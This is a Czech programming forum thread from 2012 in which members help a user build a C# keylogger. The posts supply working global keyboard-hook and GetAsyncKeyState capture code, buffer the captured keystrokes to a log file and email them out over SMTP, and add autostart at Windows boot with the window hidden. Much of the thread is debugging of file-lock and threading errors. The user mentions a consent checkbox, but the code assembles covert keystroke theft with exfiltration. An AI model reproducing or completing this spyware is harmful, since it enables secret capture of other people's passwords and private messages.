Diskuze: KeyLogger/KeyHook

C# .NET .NET (C# a Visual Basic) KeyLogger/KeyHook American English version English version

Avatar
Mediel
Redaktor
Avatar
Mediel:

Zdravim panove, rad bych s vami probral tvorbu KeyLoggeru v C#. Koukam na nejake kody na internetu, ale k cemu mi je kod, ktery funguje, kdyz mu neorzumim...
Mohli bychom tu spolecne udelat KeyLogger? Urcite toto vlakno odceni i dalsi ctenari a pod :) Takova drobna ukazka toho, jak by mel vypadat jednoduchy KeyLogger a vysvetleni co a jak funguje :)

Odpovědět 18.10.2012 0:37
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

No nevím, jak bys s dnes mohl poslat škodlivý software, ale tako vypadá Keydboard Hook:

using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;

public struct KeyboardHookStruct
{
    public int VkCode, ScanCode, Flags, Time, DwExtraInfo;
}

public class GlobalKeyboardHook
{
        public delegate int keyboardHookProc(int code, int wParam, ref KeyboardHookStruct lParam);

    [DllImport("user32.dll")]
        static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);

        [DllImport("user32.dll")]
        static extern bool UnhookWindowsHookEx(IntPtr hInstance);

        [DllImport("user32.dll")]
        static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref KeyboardHookStruct lParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr LoadLibrary(string lpFileName);

        private const int WH_KEYBOARD_LL = 13, WM_KEYDOWN = 0x100, WM_KEYUP = 0x101, WM_SYSKEYDOWN = 0x104, WM_SYSKEYUP = 0x105;

        private IntPtr hhook = IntPtr.Zero;

        public event KeyEventHandler KeyDown, KeyUp;

        public GlobalKeyboardHook()
    {
                IntPtr hInstance = LoadLibrary("User32");
                hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
        }

        ~GlobalKeyboardHook()
    {
                UnhookWindowsHookEx(hhook);
        }

        public int hookProc(int code, int wParam, ref KeyboardHookStruct lParam)
    {
                if (code >= 0)
        {
            KeyEventArgs kea = new KeyEventArgs((Keys)lParam.VkCode);

            if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                KeyDown(this, kea);
            else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                                KeyUp(this, kea);

                        if (kea.Handled)
                                return 1;
                }

                return CallNextHookEx(hhook, code, wParam, ref lParam);
        }
}

Použití:

using System;
using System.Windows.Forms;

namespace key_preview
{
        public partial class Form1 : Form
    {
                GlobalKeyboardHook gkh = new GlobalKeyboardHook();

                public Form1()
        {
                        InitializeComponent();
                }

                private void Form1_Load(object sender, EventArgs e)
        {
            gkh.KeyDown += new KeyEventHandler(GlobalKeyboardHook_KeyDown);
            gkh.KeyUp += new KeyEventHandler(GlobalKeyboardHook_KeyUp);
                }

        private void GlobalKeyboardHook_KeyUp(object sender, KeyEventArgs e)
        {
                        e.Handled = true;
                }

        private void GlobalKeyboardHook_KeyDown(object sender, KeyEventArgs e)
        {
                        e.Handled = true;
                }
        }
}
 
Nahoru Odpovědět 18.10.2012 6:48
Avatar
Mediel
Redaktor
Avatar
Odpovídá na matesax
Mediel:

Hezky, ale je to presne to, cemu moc nerozumim. Takovychto podobnych kodu je plny internet, ale ja proste nevim, co ktery prikaz dela...
Napadla mne myslenka nejakeho Real Time KeyLoggeru s radou funkci, jako cmd, printscreen a pod :)

Nahoru Odpovědět 18.10.2012 8:19
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Já jsem se tyhle věci naučil raději nechápat a beru je jako blackbox. Koukám, že je tam nějaký dllimport, to je bordel z vnitřností operačního systému, který někdo vyplodil na základě dokumentace a který je velmi těžké pochopit. Zabalil bych to úhledně do třídy a hotovo :D

Nahoru Odpovědět  +1 18.10.2012 10:15
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Odpovídá na David Čápka
Mediel:

No já na to koukám jako kocour v botách :oD tedy povedlo se mi neco sesmolit pomocí jedné knihovny, ale vrací to nějak divné hodnoty. Tedy znaky to vrací ok, ale když si nechám vypsat hodnotu znaku 'a', tak to vypíše 65 a ne 97...

[DllImport("User32.dll")]
        static extern int GetAsyncKeyState(int vKey);

        private void tKey_Tick(object sender, EventArgs e)
        {
            // Snímá stisknuté klávesy
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                    tbLog.Text += Enum.GetName(typeof(Keys), i);
            }

            if (tbLog.Text != "")
            {
                tbLog.Text = tbLog.Text.Replace("rOem6", "(");
                tbLog.Text = tbLog.Text.Replace("Space", " ");
                tbLog.Text = tbLog.Text.Replace("Delete", "<Del>");
                tbLog.Text = tbLog.Text.Replace("LShiftKey", "<SHIFT>");
                tbLog.Text = tbLog.Text.Replace("ShiftKey", "");
                tbLog.Text = tbLog.Text.Replace("OemQuotes", "!");
                tbLog.Text = tbLog.Text.Replace("Oemcomma", "?");
                tbLog.Text = tbLog.Text.Replace("D8", "á");
                tbLog.Text = tbLog.Text.Replace("D2", "ì");
                tbLog.Text = tbLog.Text.Replace("D3", "š");
                tbLog.Text = tbLog.Text.Replace("D4", "è");
                tbLog.Text = tbLog.Text.Replace("D5", "ø");
                tbLog.Text = tbLog.Text.Replace("D6", "ž");
                tbLog.Text = tbLog.Text.Replace("D7", "ý");
                tbLog.Text = tbLog.Text.Replace("D9", "í");
                tbLog.Text = tbLog.Text.Replace("D0", "é");
                tbLog.Text = tbLog.Text.Replace("Back", "<==");
                tbLog.Text = tbLog.Text.Replace("LButton", "<Levé myšítko>");
                tbLog.Text = tbLog.Text.Replace("RButton", "<Pravé myšítko>");
                tbLog.Text = tbLog.Text.Replace("NumPad", "");
                tbLog.Text = tbLog.Text.Replace("OemPeriod", ".");
                tbLog.Text = tbLog.Text.Replace("OemSemicolon", ",");
                tbLog.Text = tbLog.Text.Replace("Oem4", "/");
                tbLog.Text = tbLog.Text.Replace("LControlKey", "<CTRL>");
                tbLog.Text = tbLog.Text.Replace("ControlKey", "<CTRL>");
                tbLog.Text = tbLog.Text.Replace("Enter", "<ENT>");
                tbLog.Text = tbLog.Text.Replace("Shift", "<SHIFT>");
                tbLog.Text = tbLog.Text.ToLower();

nevite nekdo co s tim? Presneji, jak vracet treba hodnoty v ascii? Takhle to dela bordel i v zavorkach a pod.

Nahoru Odpovědět 18.10.2012 13:39
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

To je mi ale prase kód! :)

Co nechápeš na tom mém? Stáhnul jsem si potřebné zprávy a jen si je poslal do KeyEventu... (To mé je tedy rozhodně lepší - dostaneš normální KeyDown(Up) - tedy bez timeru a bez převodu znaků...)

Jediné čemu nemusíš rozumět jsou IntPtr a int zprávy. No ty jsou prostě dané - zjistíš je v příslušném manuálu, zbytek je dost jasný - tedy ještě možná nechápeš delegáty - Google... Ještě jsem to zjednodušil:

using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.ComponentModel;

public struct KeyboardHookStruct
{
    public int VkCode, ScanCode, Flags, Time, DwExtraInfo;
}

public class GlobalKeyboardHook
{
    private const int WH_KEYBOARD_LL = 13, WM_KEYDOWN = 0x100, WM_KEYUP = 0x101, WM_SYSKEYDOWN = 0x104, WM_SYSKEYUP = 0x105;

    private IntPtr hhook = IntPtr.Zero;

    public delegate int KeyboardHookProc(int code, int wParam, ref KeyboardHookStruct lParam);

    public event KeyEventHandler KeyDown, KeyUp;

    private static KeyboardHookProc callbackDelegate;

    [DllImport("user32.dll")]
        static extern IntPtr SetWindowsHookEx(int idHook, KeyboardHookProc callback, IntPtr hInstance, uint threadId);

        [DllImport("user32.dll")]
        static extern bool UnhookWindowsHookEx(IntPtr hInstance);

        [DllImport("user32.dll")]
        static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref KeyboardHookStruct lParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr LoadLibrary(string lpFileName);

        public GlobalKeyboardHook()
    {
        IntPtr hInstance = LoadLibrary("User32");
        callbackDelegate = new KeyboardHookProc(HookProc);
        hhook = SetWindowsHookEx(WH_KEYBOARD_LL, callbackDelegate, hInstance, 0);
        }

        ~GlobalKeyboardHook()
    {
        if (!UnhookWindowsHookEx(hhook))
            throw new Win32Exception();

        callbackDelegate = null;
        }

        public int HookProc(int code, int wParam, ref KeyboardHookStruct lParam)
    {
                if (code >= 0)
        {
            KeyEventArgs kea = new KeyEventArgs((Keys)lParam.VkCode);

            if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                KeyDown(this, kea);
            else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                                KeyUp(this, kea);
                }

                return CallNextHookEx(hhook, code, wParam, ref lParam);
        }
}

Použití:

        private void Form1_Load(object sender, EventArgs e)
{
    gkh.KeyDown += new KeyEventHandler(GlobalKeyboardHook_KeyDown);
    gkh.KeyUp += new KeyEventHandler(GlobalKeyboardHook_KeyUp);
        }

private void GlobalKeyboardHook_KeyUp(object sender, KeyEventArgs e)
{

        }

private void GlobalKeyboardHook_KeyDown(object sender, KeyEventArgs e)
{

        }

Co přesně tedy nechápeš?

Editováno 18.10.2012 15:08
 
Nahoru Odpovědět 18.10.2012 15:06
Avatar
matesax
Redaktor
Avatar
matesax:

Pardon - oprava konstruktoru:

   public GlobalKeyboardHook()
{
    IntPtr hInstance = LoadLibrary("User32");
    callbackDelegate = new KeyboardHookProc(HookProc);
    hhook = SetWindowsHookEx(WH_KEYBOARD_LL, callbackDelegate, hInstance, 0);

    if (hhook == IntPtr.Zero)
        throw new Win32Exception();
   }
 
Nahoru Odpovědět 18.10.2012 15:11
Avatar
matesax
Redaktor
Avatar
Odpovídá na David Čápka
matesax:

V jedné třídě to mám - právě, že stačí jen z ní vytvořit instanci...

 
Nahoru Odpovědět 18.10.2012 15:44
Avatar
Mediel
Redaktor
Avatar
Mediel:

Ten kod jsem pouzil odtud: http://www.zive.cz/…default.aspx

jinak, jak ulozim do TB nejaky ten znak?

Nahoru Odpovědět 18.10.2012 23:12
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Mediel
Redaktor
Avatar
Mediel:

Uz to mam, funguje to pekne, ale myslenka byla takovato:

Po zahackovani souhlasu, ze tento program neni vyuzivan protizakonne se prave spustil ten timer a zacal snimat...

Ale, kdyz chci napsat zavorku, nebo druhou, tak to dela stejne neplechu. V podstate to funguje naprosto stejne jako ten kod z zive.cz. A dalsi vec je, ze pri ukonceni programu to na tomto radku:

~GlobalKeyboardHook()
    {
        if (!UnhookWindowsHookEx(hhook))
            throw new Win32Exception(); // tomto radku hodi chybu: "Systém nemůže nalézt uvedený soubor"
        callbackDelegate = null;
    }
Nahoru Odpovědět 18.10.2012 23:24
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Mediel
Redaktor
Avatar
Mediel:

Mám soubor "Log.txt", do něj stále zapisuji nějaká data, ale občas byc jej rád odeslal na email, jak to udělat? Když to zkouším, tak se to brání tím, že tento soubor využívá jiný proces.

Nahoru Odpovědět 19.10.2012 2:43
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Je to prosté - nezapisuj do souboru jako ďas - to je prasárna. Je lepší data ukládat na začátku a na konci - ne že hned jak se mi změní nějaý text... Tím tedy nebudeš vycházet z nějakého souboru, ale z proměnné... Je ale také možné, že neuzavíráš stream - tak ho dej do using.

 
Nahoru Odpovědět 19.10.2012 7:08
Avatar
Mediel
Redaktor
Avatar
Mediel:

Napadlo mne reseni na zaklade tveho komentu, dekuji :)

Udelam to tak, ze si budu data bufferovat a zapisu je jednou za nejakou dobu.

Nahoru Odpovědět 19.10.2012 14:01
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Mediel
Redaktor
Avatar
Mediel:

Ne, mam pocit, ze po prvnim odeslni logu, to zustane nejak viset v tom emailSenderu a pak do toho souboru nejde dale pristupovat :(
Budu to muset poradne promyslet a prozkouset...

Nahoru Odpovědět 19.10.2012 15:37
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Jak jsem psal, soubor není holubník...

 
Nahoru Odpovědět  +1 19.10.2012 15:47
Avatar
Mediel
Redaktor
Avatar
Mediel:

:D to neni, no... V celku je to s nim souboj. Ostatne, udelal jsme tam spousteni po starti windows, ale nevim, jak tam dostat parametr, aby se to spoustelo skryte. Tedy -h

Jinak s tim souborem si jeste nejak pohraju, nejake reseni se najde :)

Nahoru Odpovědět 19.10.2012 16:04
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Jednoduše - v main (defaultně v souboru "Program") smaž parametr při volání Application.Run:

new Form1();//Sem doplň název tvého formu
Application.Run();

A pak někde - xxx.Show();

 
Nahoru Odpovědět 19.10.2012 16:16
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Pokud soubor správně zavíráš (resp. tam máš using blok), tak nevidím problém.

Nahoru Odpovědět 19.10.2012 16:18
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Mediel:

Takto odesilam email:

public void SendLogWithFile(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log, string FilePath)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;
            mail.Attachments.Add(new Attachment(FilePath));

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = false;
            klient.Send(mail);
        }

takto zapisuji do souboru:

// zapíše do souboru
StreamWriter zapisDoSouboru = new StreamWriter(tbSetupPath.Text, true);
zapisDoSouboru.Write(sBufferForFile);
zapisDoSouboru.Close();
sBufferForFile = "";

lze nejak testovat, zda se program spustil skryte?

Nahoru Odpovědět 19.10.2012 16:24
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Pokud použiješ to moje, není třeba testovat...

using (StreamWriter zapisDoSouboru = new StreamWriter(tbSetupPath.Text, true))
      zapisDoSouboru.Write(sBufferForFile);

http://msdn.microsoft.com/…pclient.aspx

Editováno 19.10.2012 16:39
 
Nahoru Odpovědět  +1 19.10.2012 16:37
Avatar
Mediel
Redaktor
Avatar
Mediel:

Já vim, ale mám to udělané pro uživatele. Tedy je tam nějaké GUI, kde se uživatel může štourat v nastavení a pod... Pak je tam třeba zaháčkovat checkBox o tom, že souhalsí s pravidly používání a až poté lze pomocí tlačítka keyLogger spustit.
Přidělal jsem tam spuštění programu po startu windows, ale zatím nevím, jak ošéfovat, aby se i zaplo logování kláves.

Proto potřebuji nějak rozlišit, jak byl program spuštěn. Pokud byl spuštěn uživatelem, tak ten si zaháčkuje a klikne na tlačítko, ale pokud to bude spuštěné po startu win, tak tam to nějak potřebuji ošéfovat.

Nahoru Odpovědět 19.10.2012 16:46
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Dej zobrazit dialog:

if (MessageBox.Show("Souhlasíte...?", "Nadpis", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1) == DialogResult.Yes)
    Application.Run(new Namespace.JménoTvéhoFormu());
 
Nahoru Odpovědět 19.10.2012 16:53
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Ukládáš-li nastavení, nebo více než pár dat, rozhodně použij databázi...

 
Nahoru Odpovědět 19.10.2012 16:57
Avatar
Honza Novák
Neregistrovaný
Avatar
Honza Novák:

https://www.youtube.com/watch?… tady na tomdle videu najdete jak si udělat vlastní keylogger :)

Je to uplně suprový video sám sem ho podle toho udělal a šlape uplně suprově0. Jinak psal jsem i tomu autorovi David Roško a je ranec ochotnej s čímkoliv poradit

 
Nahoru Odpovědět 22.10.2012 21:46
Avatar
David Čápka
Tým ITnetwork
Avatar
Nahoru Odpovědět 22.10.2012 21:53
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Mediel:

No dost podobne to delam :)

Nahoru Odpovědět 24.10.2012 14:30
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Mediel
Redaktor
Avatar
Mediel:

Co to do psi materi je?

Error 1 Unable to copy file "obj\x86\Debug\Ke­yLogger 1.0.exe" to "bin\Debug\Ke­yLogger 1.0.exe". Access to the path 'bin\Debug\Ke­yLogger 1.0.exe' is denied. KeyLogger 1.0

co s tim?

Nahoru Odpovědět 24.10.2012 17:02
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Přístup odepřen... :) (To co jsi poslal je mi na ... :) )

 
Nahoru Odpovědět 24.10.2012 17:08
Avatar
David Čápka
Tým ITnetwork
Avatar
Nahoru Odpovědět 24.10.2012 17:16
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
matesax
Redaktor
Avatar
Odpovídá na David Čápka
matesax:

Vždyť to je ten jeho program - jak píši - chce to více informací...

 
Nahoru Odpovědět 24.10.2012 17:20
Avatar
Mediel
Redaktor
Avatar
Mediel:

No více info, já jich víc nemám... spustil jsme ho, šlo to bez problému, vypnul jsem ho upravil jsem lehce kód a chtěl spustit znovu. Nešlo to, tak jsem vrátil kód, ale beztak to nejde...

Nahoru Odpovědět 24.10.2012 18:17
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
matesax
Redaktor
Avatar
Odpovídá na Mediel
matesax:

Tak pošli kód - pošli, co jsi měnil... (Mohl jsi tam nechat nějakou drobnost...)

 
Nahoru Odpovědět 24.10.2012 18:20
Avatar
Mediel
Redaktor
Avatar
Mediel:

Ted jsem to vsechno prendal do noveho projektu a zas to bezi... divne :(

Nahoru Odpovědět 24.10.2012 18:25
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Možná ti zůstal proces viset nebo jsi měl projekt v jiné složce.

Nahoru Odpovědět 24.10.2012 18:33
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Mediel:

Nn, nic jsem nemenil a zkousel jsem i reset PC, nepomohlo... Fakt divne....

Nahoru Odpovědět 24.10.2012 18:46
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Mediel
Redaktor
Avatar
Mediel:

Zdravim,

mam stale problem se zapisem do douboru...
Tedy mam ten keyLogger, zapisuji do souboru ve vlastni metode:

// Zapíše do souboru
        private void WriteToFile()
        {
            using (StreamWriter zapisDoSouboru = new StreamWriter(tbSetupPath.Text, true, Encoding.UTF8))
            {
                zapisDoSouboru.Write(sBufferForFile);
            }
            sBufferForFile = "";
        }

odesílám email takto:

public void SendLogWithFile(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log, string FilePath)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;
            mail.Attachments.Add(new Attachment(FilePath));

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = false;
            klient.Send(mail);
        }

Napoprvé to bez problémů zapíše a napodruhé to vždy spadne... Tedy zapisuji do souboru po 1000 znacích. Po spuštění programu a naspíní přes 1000 znaků, to bez potíží zapíše do souboru a soubor odešle. Ale při druhém 1000 znaků už to spadne s výjimkou, že soubor je používán jiným procesem.

metoda pro zapis a odeslani vypada takto:

// Timer pro smazávání okna a odeslání emailu
        private void tClear_Tick(object sender, EventArgs e)
        {
            sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
            tbLog.Text = ""; // vymazu okno

            // Pokud je povolené odesílání emailů
            if (chbSendEmail.Checked == true)
            {
                // Pokud je délka delší, než požadovaná délka
                if (sBuffer.Length > int.Parse(tbSetupEmailSumOfChar.Text))
                {
                    sSendBuffer = sBuffer;
                    sBufferForFile += sBuffer; // Do Bufferu pro soubor přidám to, co je v okně
                    WriteToFile();  // zapíše do souboru
                    sBuffer = ""; // vyprázdním okno

                    // pokud je zakázané zasílání i souboru
                    if (chbSetupSendFile.Checked == false)
                    {
                        Thread t = new Thread(new ThreadStart(SendLog));
                        t.Start();
                    }
                    else
                    {
                        Thread t = new Thread(new ThreadStart(SendLogWithFile));
                        t.Start();
                    }
                }
            }

fakt už nevim... :(
Nemůže to být tím vláknem? Nemám ho po dokončení nějak zrušit?

Nahoru Odpovědět 28.10.2012 19:11
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Koukám na ta vlákna, opravdu jsou v takové aplikaci potřeba? Sám se jim vyhýbám jako čert kříži a nikdy mi nechyběly, přínáší spíše zlo než užitek.

Nahoru Odpovědět 28.10.2012 19:26
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Odpovídá na David Čápka
Mediel:

Ono právě bez toho vlákna pak program při odesílání na okamžik zatuhne a to zas vytvoří další chyby... Tak proto ta vlákna. Musí přeci existovat nějaké řešení, jak to udělat...

Nahoru Odpovědět 28.10.2012 22:03
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Kit
Redaktor
Avatar
Odpovídá na David Čápka
Kit:

Vlákna jsou dobrá věc, ale musí se na pár věcí dát pozor. Proto se jim programátoři vyhýbají. Aplikace s více vlákny se vlastně chová jako malý operační systém a není triviální ho udržet na uzdě.

Mediel: To vlákno musíš po zápisu nějak ukončit, jinak se ti budou množit.

Nahoru Odpovědět 28.10.2012 22:21
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
Mediel
Redaktor
Avatar
Nahoru Odpovědět 28.10.2012 22:34
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Kit
Redaktor
Avatar
Odpovídá na Mediel
Kit:

Asi t.Interrupt() nebo t.Abort().

Nahoru Odpovědět 28.10.2012 22:46
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
Mediel
Redaktor
Avatar
Odpovídá na Kit
Mediel:

Vubec nevim, kam to dat... S vlakny jsem pracoval poprve a tak v tom mam trochu gulas.

Nahoru Odpovědět 28.10.2012 22:51
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Kit
Redaktor
Avatar
Odpovídá na Mediel
Kit:

Zkusil jsem Googla, tak se také podívej. Mělo by se to ukončit i samo.

http://programujte.com/…a-v-c-1-dil/

Nahoru Odpovědět  +1 28.10.2012 23:06
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
Mediel
Redaktor
Avatar
Mediel:

Dejme tomu, ze se tedy vlakno ukonci samo po vykonani metody... Ale ted by mne zajimalo, jak udelat to s tim souborem...

Myslim si, ze 1000 znaku chvilku trva, nez naboucham do klavesnice, prijde odeslani zaroven to zaznamenava dalsich 1000 znaku, zas to chvili trva, ale pri pokusu o odeslani to spadne, ze k souboru kam zapisuji pristupuje jiny proces, no to bych si ho z toho vyskub.

Nahoru Odpovědět 28.10.2012 23:22
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Kit
Redaktor
Avatar
Odpovídá na Mediel
Kit:

A není to tím, že zapisuješ do vlastního ".exe" místo do datového souboru?

Nahoru Odpovědět 29.10.2012 6:30
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

A jaké chyby to zatuhnutí vytvoří? Maximálně ti to nevezme pár znaků, ne? Zkus to bez vláken, abychom zjistili, jestli máš ten zápis dobře udělaný.

Nahoru Odpovědět 29.10.2012 9:06
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Mediel:

I bez tech vlaken to dela... Uz ale asi vim, kde je chyba...

Je to nastavene tak, ze pokud to presahne 1000 znaku, tak to ma zapsat do souboru, muze se vsak stat, ze pri otevreni nejakeho okna tam skoci 1004 znaku a ja pak kliknu na dalsi okno a ono to chce zapsat do souboru a to nejde.

Zkusim to vyresit tak, ze tam dam nejakou kontrolni podminku typu bool, kde bude neco jako probihaZapisDo­Souboru a kdyz bude True, tak se to bude dale bufferovat a kdyz false, tak se bude moc zapsat...

Snad to je timto... Jinak uz mi fakt jebne.

Nahoru Odpovědět 29.10.2012 13:06
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Kit
Redaktor
Avatar
Odpovídá na Mediel
Kit:

Udělej to jako kruhový buffer a druhý ukazatel posuň vždy jen tam, kde jsi skončil se zápisem.

Nahoru Odpovědět 29.10.2012 13:14
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
Mediel
Redaktor
Avatar
Odpovídá na Kit
Mediel:

Muzes to prosim ukazat na jednoduchem priklade?

Nahoru Odpovědět 29.10.2012 13:16
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Tak počítadlo znaků nuluj před zápisem a ne po zápisu. Tedy přesněji ten buffer, si ho zkopíruj a ulož kopii, původní vyprázdni.

Editováno 29.10.2012 13:25
Nahoru Odpovědět  +1 29.10.2012 13:24
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Kit
Redaktor
Avatar
Odpovídá na Mediel
Kit:

Je to vlastně obyčejná fronta. Když se naplní na určitou hodnotu, vezme se potřebný počet záznamů, uloží do souboru a jen ten kus se smaže. Mezitím tam mohou přibývat další záznamy.

Dřív se to dělalo jedním polem a dvěma pointry. Jeden ukazoval, kam se má zapisovat a druhý odkud se má číst. Když se zapsal poslední záznam, začalo se psát od začátku pole. Hlídalo se, aby se nepotkaly.

Nahoru Odpovědět 29.10.2012 13:27
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
Mediel
Redaktor
Avatar
Mediel:

Zkusil jsem to oboji, jak ten muj priznak, ze pokud se zapisuje, tak na to nesahat, tak nulovat pred zapisem...

Porad se to pri druhem presazeni 1000 potentockuje.

Nahoru Odpovědět 29.10.2012 13:27
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Kit
Redaktor
Avatar
Odpovídá na Mediel
Kit:

Je to vlastně obyčejná fronta. Když se naplní na určitou hodnotu, vezme se potřebný počet záznamů, uloží do souboru a jen ten kus se smaže. Mezitím tam mohou přibývat další záznamy.

Dřív se to dělalo jedním polem a dvěma pointry. Jeden ukazoval, kam se má zapisovat a druhý odkud se má číst. Když se zapsal poslední záznam, začalo se psát od začátku pole. Hlídalo se, aby se nepotkaly.

Nahoru Odpovědět  +1 29.10.2012 13:28
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
Mediel
Redaktor
Avatar
Mediel:

Pořád to nejde,

